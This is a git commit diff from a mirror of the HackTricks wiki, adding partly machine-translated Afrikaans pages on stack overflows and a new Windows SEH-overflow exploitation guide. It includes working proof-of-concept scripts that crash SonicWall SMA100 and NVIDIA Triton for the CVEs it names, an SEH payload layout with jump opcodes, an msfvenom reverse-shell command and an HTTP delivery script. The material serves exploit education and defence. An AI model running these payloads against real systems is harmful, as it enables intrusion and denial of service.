mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/windows-seh-overflow
This commit is contained in:
Translator
parent
4a24de3d05
commit
3dfa1010a1
@ -779,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Wat is 'n Stack Overflow
|
||||
|
||||
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **oorskryf aangrensende geheuerruimte**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
|
||||
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringstroom van die program te beheer**.
|
||||
Die hoofprobleem van hierdie oorskrywing is dat die **gestoorde instruksie-aanwyser (EIP/RIP)** en die **gestoorde basis-aanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stack gestoor** word. Daarom kan 'n aanvaller hierdie waardes oorskryf en die **uitvoeringsvloei van die program beheer**.
|
||||
|
||||
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en dus in staat is om ander dele van die stapel te oorskryf.
|
||||
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **op die stack meer bytes kopieer as wat daarvoor toegewys is**, en gevolglik ander dele van die stack kan oorskryf.
|
||||
|
||||
Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegekenne een.
|
||||
Party algemene funksies wat vatbaar hiervoor is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** aanvaar, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegewysde een.
|
||||
|
||||
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
|
||||
```c
|
||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Vind van Stap Oorloop verskuiwings
|
||||
### Vind offsets van Stack Overflows
|
||||
|
||||
Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en te verwag 'n `Segmentation Fault` wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
|
||||
Die algemeenste manier om stack overflows te vind is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer gekry is**.
|
||||
|
||||
Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die verskuiwing moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sikliese sekwensie is waarin elke moontlike subreeks van lengte _n_ presies een keer verskyn** as 'n aaneengeskakelde subreeks.
|
||||
Verder, sodra jy gevind het dat daar 'n Stack Overflow vulnerability is, sal jy die offset moet bepaal totdat dit moontlik is om die **return address te overwrite**; hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Vir 'n gegewe alfabet van grootte _k_ en subreeksse van lengte _n_ is dit 'n **sikliese volgorde waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks voorkom**.
|
||||
|
||||
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes wat dit oorgeskryf het, te vind.
|
||||
Op hierdie manier, in plaas daarvan om met die hand uit te werk watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik overwrite het.
|
||||
|
||||
Dit is moontlik om **pwntools** hiervoor te gebruik:
|
||||
```python
|
||||
@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Exploiting Stack Overflows
|
||||
## Uitbuiting van Stack Overflows
|
||||
|
||||
Tydens 'n oorgang (veronderstel dat die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
|
||||
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointer.
|
||||
Tydens 'n overflow (aanneem die overflow-grootte is groot genoeg) sal jy in staat wees om waardes van plaaslike veranderlikes binne die stack te **overwrite** totdat jy die gestoorde **EBP/RBP and EIP/RIP (or even more)** bereik.\
|
||||
Die mees algemene manier om hierdie tipe kwetsbaarheid te misbruik is deur die **return address** te wysig sodat wanneer die funksie eindig die **control flow** herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het.
|
||||
|
||||
E however, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
|
||||
In ander scenario's mag dit egter genoeg wees om net sekere veranderlikewaardes op die stack te **overwrite** (like in easy CTF challenges).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres oor te skryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
|
||||
In hierdie tipe CTF challenges is daar 'n **function** **inside** die binary wat **never called** word en wat **you need to call in order to win**. Vir hierdie challenges hoef jy net die **offset to overwrite the return address** te vind en die **address of the function** om aan te roep (gewoonlik sal [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) gedeaktiveer wees) sodat wanneer die vulnerable function returns, die hidden function aangeroep sal word:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -66,16 +66,25 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
In hierdie scenario kan die aanvaller 'n shellcode in die stapel plaas en die beheerde EIP/RIP misbruik om na die shellcode te spring en arbitrêre kode uit te voer:
|
||||
In hierdie scenario kan die aanvaller 'n shellcode op die stack plaas en die beheerste EIP/RIP misbruik om na die shellcode te jump en arbitrary code uit te voer:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Op 32-bit Windows kan 'n overflow die Structured Exception Handler (SEH) ketting overskryf in plaas van die gestoorde return address. Eksploitasie vervang tipies die SEH pointer met 'n POP POP RET gadget en gebruik die 4-byte nSEH veld vir 'n kort jump om terug te pivot in die groot buffer waar die shellcode lê. 'n Algemene patroon is 'n kort jmp in nSEH wat op 'n 5-byte near jmp land wat net voor nSEH geplaas is om honderde bytes terug na die payload-begin te jump.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming van die vorige tegniek te omseil: **Geen uitvoerbare stapel (NX)**. En dit stel in staat om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat sal eindig met die uitvoering van arbitrêre opdragte deur bestaande instruksies in die binêre te misbruik:
|
||||
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: **No executable stack (NX)**. Dit laat ook toe om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat uiteindelik arbitrary commands sal uitvoer deur bestaande instruksies in die binary te misbruik:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -84,16 +93,16 @@ Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming van die vorig
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
'n Oorgang is nie altyd in die stapel nie, dit kan ook in die **heap** wees byvoorbeeld:
|
||||
' n Overflow gaan nie altyd in die stack plaasvind nie; dit kan byvoorbeeld ook in die **heap** wees:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Types of protections
|
||||
## Tipes beskerming
|
||||
|
||||
Daar is verskeie beskermings wat probeer om die uitbuiting van kwesbaarhede te voorkom, kyk daarna in:
|
||||
Daar is verskeie beskermings wat probeer voorkom dat kwesbaarhede geëksploiteer word; kyk daarna in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -102,32 +111,33 @@ Daar is verskeie beskermings wat probeer om die uitbuiting van kwesbaarhede te v
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
'n Goeie demonstrasie van waarom **`sscanf` nooit vertrou moet word vir die ontleding van onbetroubare invoer** het in 2025 in SonicWall se SMA100 SSL-VPN-toestel verskyn. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer om die weergawe en eindpunt uit enige URI wat met `/__api__/` begin, te onttrek:
|
||||
'n Goeie demonstrasie van waarom **`sscanf` moet nooit vertrou word vir die parse van onbetroubare input nie** het in 2025 in SonicWall’s SMA100 SSL-VPN appliance voorgekom. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die version en endpoint uit enige URI onttrek wat met `/__api__/` begin:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Die eerste konversie (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`).
|
||||
2. Die tweede konversie (`%s`) **het geen lengte spesifiseerder nie**, daarom sal `sscanf` aanhou kopieer **tot die eerste NUL byte**.
|
||||
3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes** lank is, sal die verskaffing van 'n pad langer as 0x800 bytes alles wat na die buffer sit, korrupteer ‑ insluitend die **stack canary** en die **gestoor terugadres**.
|
||||
1. Die eerste omskakeling (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`).
|
||||
2. Die tweede omskakeling (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` aanhou kopieer **tot by die eerste NUL byte**.
|
||||
3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, veroorsaak 'n pad langer as 0x800 bytes dat alles wat ná die buffer lê korrupteer word ‑ insluitend die **stack canary** en die **saved return address**.
|
||||
|
||||
'n Enkellyn bewys-van-konsep is genoeg om die krag te aktiveer **voor outentisering**:
|
||||
Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te trigger:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Alhoewel stapelkanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met addisionele inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig:
|
||||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig:
|
||||
|
||||
* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`).
|
||||
* Verkies veiliger alternatiewe soos `snprintf`/`strncpy_s`.
|
||||
* Gebruik verkieslik veiliger alternatiewe soos `snprintf`/`strncpy_s`.
|
||||
|
||||
### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
### Werklike voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stapel-gebaseerde oorgange** bevat wat deur sy HTTP API bereik kon word. Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` verskyn:
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** gehad wat deur sy HTTP API bereikbaar was.
|
||||
Die kwesbare patroon het herhaaldelik verskyn in `http_server.cc` en `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -137,11 +147,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmenten** wat die huidige HTTP-versoekliggaam saamstel.
|
||||
2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stapel** toegeken word via `alloca()` – **sonder enige boonste grens**.
|
||||
3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die stapel uitgeput is.
|
||||
1. `evbuffer_peek` (libevent) gee die **aantal interne buffer-segmente** wat die huidige HTTP versoekliggaam saamstel.
|
||||
2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` toegeken word – **sonder enige boonste grens**.
|
||||
3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde-duisende 6-byte-stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die **stack** uitgeput is.
|
||||
|
||||
#### Bewys-van-Konsep (DoS)
|
||||
#### Bewys van konsep (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -165,10 +175,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
'n ~3 MB versoek is genoeg om die gestoor terugkeeradres te oorskryf en **crash** die daemon op 'n standaard bou.
|
||||
'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en die daemon op 'n standaard build te **crash**.
|
||||
|
||||
#### Patch & Mitigering
|
||||
Die 25.07 vrystelling vervang die onveilige stapeltoewysing met 'n **heap-ondersteunde `std::vector`** en hanteer `std::bad_alloc` met grasie:
|
||||
#### Patch & Versagting
|
||||
Die 25.07 release vervang die onveilige stack allocation met 'n **heap-backed `std::vector`** en hanteer `std::bad_alloc` op 'n elegante wyse:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -178,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lessons geleer:
|
||||
* Nooit `alloca()` aanroep met aanvaller-beheerde groottes nie.
|
||||
* Gekapte versoeke kan die vorm van bediener-kant buffers drasties verander.
|
||||
* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* dit in geheue-toewysings gebruik word.
|
||||
Lesse geleer:
|
||||
* Moet nooit `alloca()` met attacker-controlled sizes aanroep nie.
|
||||
* Chunked requests kan die vorm van server-side buffers drasties verander.
|
||||
* Valideer / beperk enige waarde wat vanaf client input afgelei is *voordat* dit in memory allocations gebruik word.
|
||||
|
||||
## Verwysings
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based eksploitasie is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting op die stapel misbruik. Wanneer 'n stapel-bufferoorloop die twee 4-byte velde oorskryf
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
kan 'n aanvaller die uitvoering oorneem deur:
|
||||
|
||||
1) SEH op die adres van 'n POP POP RET gadget in 'n nie-beskermde module te stel, sodat wanneer 'n exception verwerk word die gadget terugkeer na bytes onder die aanvaller se beheer, en
|
||||
2) nSEH te gebruik om die uitvoering te herlei (tipies 'n kort spring) terug na die groot oorstroomde buffer waar shellcode lê.
|
||||
|
||||
Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Slegte karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in weens C-strings en HTTP parsing.
|
||||
|
||||
---
|
||||
|
||||
## Vind presiese offsets (nSEH / SEH)
|
||||
|
||||
- Laat die proses crash en verifieer dat die SEH-ketting oor geskryf is (bv., in x32dbg/x64dbg, kyk die SEH view).
|
||||
- Stuur 'n cyclic pattern as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland.
|
||||
|
||||
Voorbeeld met peda/GEF/pwntools op 'n 1000-byte POST body:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
Valideer deur merkers op daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou totale lengte konstant om die crash reproduseerbaar te maak.
|
||||
|
||||
---
|
||||
|
||||
## Kies 'n POP POP RET (SEH gadget)
|
||||
|
||||
Jy benodig 'n POP POP RET-sekwensie om die SEH-raamwerk af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en by voorkeur sonder ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` dan `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` om POP POP RET gadgets en SafeSEH-status te lys.
|
||||
|
||||
Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., `p32(0x004094D8)`). Gee voorkeur aan gadgets binne die kwesbare binary as beskermings dit toelaat.
|
||||
|
||||
---
|
||||
|
||||
## Jump-back tegniek (short + near jmp)
|
||||
|
||||
nSEH is slegs 4 bytes, wat hoogstens 'n 2-byte short jump (`EB xx`) plus padding kan huisves. As jy honderde bytes terug moet spring om jou buffer-begin te bereik, gebruik 'n 5-byte near jump wat net voor nSEH geplaas is en koppel dit met 'n short jump vanaf nSEH.
|
||||
|
||||
Met nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Uitleg-idee vir 'n 1000-byte payload met nSEH op offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Execution flow:
|
||||
- Exception gebeur, dispatcher gebruik die oor-geskryfde SEH.
|
||||
- POP POP RET ontvou na ons nSEH.
|
||||
- nSEH voer `jmp short -8` uit na die 5-byte near jump.
|
||||
- Die near jump land by die begin van ons buffer waar die NOP sled + shellcode lê.
|
||||
|
||||
---
|
||||
|
||||
## Slegte karakters
|
||||
|
||||
Bou 'n volledige badchar string en vergelyk die stack memory na die crash, en verwyder bytes wat deur die teiken-parser gemanipuleer word. Vir HTTP-based overflows, `\x00\x0a\x0d` word byna altyd uitgesluit.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landingsvariasie te verdra.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om in Python te embed en te unhex:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Aflewering oor HTTP (presiese CRLF + Content-Length)
|
||||
|
||||
Wanneer die kwesbare vektor 'n HTTP request body is, skep 'n raw request met presiese CRLFs en Content-Length sodat die server die hele oorvloeiende body lees.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
---
|
||||
|
||||
## Gereedskap
|
||||
|
||||
- x32dbg/x64dbg om die SEH-ketting te bekyk en die crash te triageer.
|
||||
- ERC.Xdbg (x64dbg plugin) om SEH-gadgets te enumereer: `ERC --SEH`.
|
||||
- Mona as 'n alternatief: `!mona modules`, `!mona seh`.
|
||||
- nasmshell om kort/na-bye spronge te assembleer en rou opkodes te kopieer.
|
||||
- pwntools om presiese netwerk-payloads te skep.
|
||||
|
||||
---
|
||||
|
||||
## Notas en voorbehoude
|
||||
|
||||
- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde uitbuiting is oor die algemeen nie haalbaar nie.
|
||||
- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; anders, vind 'n onbeveiligde module wat in die proses gelaai is.
|
||||
- Diens-watchdogs wat outomaties na 'n crash herbegin, kan iteratiewe exploit-ontwikkeling vergemaklik.
|
||||
|
||||
## Verwysings
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,115 +4,116 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak. Toepassings het verskillende `integriteit` vlakke, en 'n program met 'n **hoë vlak** kan take uitvoer wat **potensieel die stelsel kan kompromitteer**. Wanneer UAC geaktiveer is, loop toepassings en take altyd **onder die sekuriteitskonteks van 'n nie-administrateur rekening** tensy 'n administrateur eksplisiet hierdie toepassings/take magtig om administrateurvlak toegang tot die stelsel te hê om uit te voer. Dit is 'n geriefkenmerk wat administrateurs beskerm teen onbedoelde veranderinge, maar word nie as 'n sekuriteitsgrens beskou nie.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **consent prompt for elevated activities** moontlik maak. Toepassings het verskillende `integrity`-vlakke, en 'n program met 'n **high level** kan take uitvoer wat **could potentially compromise the system**. Wanneer UAC aangeskakel is, hardloop toepassings en take altyd **onder die security context of a non-administrator account** tensy 'n administrateur uitdruklik hierdie toepassings/take magtig om op administrateurvlak op die stelsel te hardloop. Dit is 'n geriefsfunksie wat administrateurs teen onbedoelde veranderinge beskerm, maar word nie as 'n security boundary beskou nie.
|
||||
|
||||
For more info about integrity levels:
|
||||
|
||||
Vir meer inligting oor integriteitsvlakke:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Wanneer UAC in plek is, ontvang 'n administrateur gebruiker 2 tokens: 'n standaard gebruiker sleutel, om gereelde aksies as 'n gereelde vlak uit te voer, en een met die admin regte.
|
||||
Wanneer UAC in plek is, kry 'n administrateurgebruiker 2 tokens: 'n standaard user token om gewone handelinge op gewone vlak uit te voer, en een met die admin privileges.
|
||||
|
||||
Hierdie [bladsy](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bespreek hoe UAC in groot diepte werk en sluit die aanmeldproses, gebruikerservaring, en UAC argitektuur in. Administrateurs kan sekuriteitsbeleide gebruik om te configureer hoe UAC spesifiek vir hul organisasie op die plaaslike vlak werk (met behulp van secpol.msc), of geconfigureer en versprei via Groep Beleidsobjekte (GPO) in 'n Aktiewe Gidsomgewing. Die verskillende instellings word in detail bespreek [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Daar is 10 Groep Beleidsinstellings wat vir UAC gestel kan word. Die volgende tabel bied addisionele besonderhede:
|
||||
Hierdie [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bespreek in groot diepte hoe UAC werk en sluit die logon process, user experience, en UAC architecture in. Administrateurs kan sekuriteitsbeleid gebruik om te konfigureer hoe UAC in hul organisasie werk op plaaslike vlak (gebruik secpol.msc), of gekonfigureer en via Group Policy Objects (GPO) in 'n Active Directory domeinomgewing uitgerol word. Die verskillende instellings word in detail bespreek [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Daar is 10 Group Policy settings wat vir UAC gestel kan word. Die volgende tabel bied addisionele besonderhede:
|
||||
|
||||
| Groep Beleidsinstelling | Registriesleutel | Standaardinstelling |
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
